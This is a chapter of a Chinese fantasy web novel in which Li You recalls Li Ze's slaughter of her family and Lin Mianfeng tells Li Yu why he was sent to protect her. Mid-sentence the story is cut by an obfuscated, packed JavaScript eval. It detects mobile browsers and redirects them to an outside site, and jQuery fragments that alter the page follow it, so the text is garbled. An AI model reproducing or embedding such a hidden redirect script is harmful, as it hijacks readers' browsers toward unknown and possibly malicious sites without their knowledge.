23. 潜伏

作品:《我要当大反派

    “哥?”离幽看到离语来,脸上带着淡淡的笑意,留意到他手中的东西,有些疑惑:“这是?”


    离语眼神有些躲闪,向来稳重的他吞吞吐吐起来:“这是义父给你的。”


    “父亲给我的?”离幽神色没什么变化,她轻轻推开了木盒的盖子,待明白是什么后,脸上笑意淡了淡,并将东西推还给离语,“你还给父亲吧。”


    “幽儿,”离语没有退缩,不自觉上前一步,想要争取些什么:“这对你有帮助……”


    “那也不该给我。”


    离语在离幽脸上看不出任何情绪,他懊悔不已,强忍下心中的不安,急了:“幽儿,忘了那件事吧,就当那是梦。好吗?”


    离幽低下头,神色不清:“哥,已经发生过的事,是不能当作不存在的。”她推开离语的手,进了屋。


    “幽儿!”


    离语拿离幽没办法,在原地站了许久,放下盒子,无奈离开。


    屋外,林娩峰见他出来,叹了一声:“你让她一个人静静吧。”


    离语欲言又止,却也知道不能逼得太紧了。


    “走吧。”林娩峰是来找离语谈谈离泽的事情的。


    屋内,离幽看着离语一步三回头地离开,眼中的雪怎么也化不开。


    其实,从离幽出生起,她就开始有了记忆,所以,十几年离泽派人灭了林家满门,她一直都记得,且记得清清楚楚。


    她记得那天阴云密布,阿爹跟着离芜去了外域,阿娘带着她在宅院里玩竹蜻蜓。


    没过多久,外面一片嘈杂声,呼喊声惊叫声,听得人心底发慌,有种大难临头的错觉。但之后的事实告诉离语,那都不是错觉。


    之后,林家的仆从慌慌张张闯了进来,着急地对阿娘说道:“外面来了一群修为不凡的黑衣人,夫人快带着小姐先逃!”那仆从是阿爹精心选出来的,对林家赤胆忠心。


    阿娘也没犹豫,强撑着镇定,带着她从密道逃了出去。仆从当机立断,带着家中最后几个护卫,一路跟在她们身旁保驾护航。


    离幽不太清楚那时候她们跑了多久,但她知道是很久,一路躲躲藏藏,还死了很多人。


    鲜血飞溅在地上,如花儿般鲜红,可混在泥土中又是那样肮脏,离幽不知道那些人为什么对她们紧追不舍,难道只有赶尽杀绝,才甘心吗?


    他们在天亮之前找到了一个隐蔽的山洞,从开始的一群人,变成了三个——阿娘,她,还有最初那个仆从。


    离幽那时候还小,身体也不行,跑了一夜额头,刚找到避难处就发起了高烧。


    外有追兵,三人没办法出去,只能熬着。眼看着两天过去,离幽病情未见好转,反而还愈发严重。


    那仆从一咬牙,独自一人去了外面采草药。最初她们运气很好,许是追兵见找不着人,主动放弃了搜寻。直到她病好,那群黑衣人才再次现身。


    阿娘把她护在身后,道:“你们到底是什么人,我们林家与你们无冤无仇,为何要追杀我们?”


    黑衣人们像是听到了什么笑话,讽刺地笑了起来,“怪就怪在你们眼瞎!跟错了主子!”


    他们拔出腰间配剑,狠厉地刺了过来。


    几个回合之下,母亲和仆从不敌,浑身是血地倒在了山洞中。


    小小的离幽趴在林夫人渐渐冰凉的尸体旁,眼中带泪,身体肉眼可见地发着抖。她脸上沾染了鲜血,无助地哭着:“阿娘醒醒……阿娘呜呜呜你醒醒……”


    “这个小丫头怎么办?”


    “一块杀了。”


    “是!”


    沾染了不知道多少人的血剑高高举起,眼看就要向离幽砍来,其中一个黑衣人却拦住了那人。


    “等一下?”那黑衣人应该是他们中的首领,说话颇有分量,他眼睛透亮地看着离幽,无声中,让离幽觉得全身发寒,如坠冰窖,“她还有点用,先留着。”


    “是。”


    离幽那时还不懂为什么他们会饶过自己,直到很久很久以后,再醒悟,已为时已晚。


    离芜虽然仁德,上任时却阻了不少人的路,为保幼子平安,离芜夫妇生有子嗣这件事,只有极少数人知道,就算知道,也很少有人见过。


    离芜夫妇将孩子藏得很好,好到成了别人手中的一把刀。


    黑衣人们带着离幽见了他们的主人——离泽。


    离泽费劲千辛万苦,却找不到那个孩子,就把差不多同岁且拥有水灵根的离幽拿来冒充顶替。


    离幽聪慧,深知自己一旦忤逆对方,等来的只有杀身之祸,所以,即便她之后看清了离泽温润面具下的残忍,也选择装聋作哑,保全自身。


    离泽把离幽拿出来当筹码,把隐潮长老都叫到议事堂。后来,更是把隐潮反对离泽上位的长老都杀了。


    那天隐潮血流成河,离芜夫妇在外身死,离泽成功坐上了隐潮族长之位。


    之后,离幽三天两头生高烧不退,醒来后什么都不愿说,像是傻了般。她不吵不闹,很听话。离泽来找过她几次,最终还是没有对她痛下杀手。


    离幽抱紧自己,试图让自己暖和点。她至今都不明白,离泽当初为什么要留下她,还把她当作亲生女儿般养在身边。


    离幽想过报仇,可后来的种种都告诉她,离泽不会给她机会。渐渐地,她长成了毫无感情的人,像一块冰雕,里里外外都透着冷。直到九岁那年,离语的出现,这个人身上有种与生俱来的亲和力,吸引着她靠近。


    她想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059921|179165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,如果日子一直这样平静地过下去就好了。


    可前几日她才知道,原来离语就是当年那个离泽没找到的遗孤。


    离幽又陷在了矛盾里,她不会单纯地认为离语接近自己,接近离泽是没有带任何目的。


    这是不可能,也是不现实的。


    那一直以来的温柔体贴,都只是做戏吗?离幽不由自主地想着。她吸了一口冷气,尝试让自己不那么烦躁。可心中早已是一团乱麻。


    亦或者说,她可以试着……


    ·


    “你可知道,当初我为何要将你送到幽儿身边?”林娩峰愁眉不展地问他。


    “为了保护她。”


    林娩峰长舒一口气,点点头:“我林家现在就只剩两个人了。幽儿从小就没了母亲,我这个父亲有与没有都没区别。”他端起一壶烈酒,灌了下去。


    “林叔,你身体不好,少喝点。”离语劝道。


    林娩峰摆摆手,不在意道:“但我不希望幽儿知道这些往事。”


    林娩峰当年命大,好不容易捡回一条命,才得知妻儿被离泽残忍杀害,他痛苦不堪,恨不得将离泽碎尸万段。


    可他身上的伤太重,不养个十年八年根本好不了,更别提报仇了。他走投无路,连活下去的希望都没有了。


    就在这时,他看到了站在离泽声旁的小人,正是他的女儿——林呦。


    他观察了好一阵子,发现呦儿不像往常一样爱说话了,像是什么都不记得了一般,没有生气,跟在离泽那个畜生身旁一言不发,麻木得像个任人摆布的木偶。


    这让他无比痛心,却又无计可施。也许是老天有眼,让他遇到了离芜遗子——离语。


    离语资质非凡,只要不过早夭折,苦练勤修,假以时日定能成为一代翘楚!


    林娩峰打定注意,暗中培养离语。幸运的是,离语没有辜负他的期望,修为了得,甚至超越了他的父亲离芜。随着年岁过去,他发现离幽还是那般,始终封闭着自己的内心,不愿与人交流。


    作为一个不称职的父亲,他没办法看着曾经活泼开朗的女儿变成如今这般。于是,他给离语假造了一个身份,光明正大地混入了隐潮弟子中。


    恰逢离泽筛选隐潮旁系弟子,林娩峰将计就计,让离语好好表现一番。果不其然,离语很快入了离泽的眼,并且在不久后被离泽认作为义子。


    “我不需要幽儿认我这个父亲,但我希望她一生平安,欢喜无忧。”


    就算她一辈子记不起过往,记不起他这个父亲,只要她开心,其他的都无所谓了。


    离语猛灌了一口酒,烈酒入喉,火辣辣的,他万般诚恳坚定地说:“我明白,林叔。我会尽一生之力,好好照顾幽儿的。”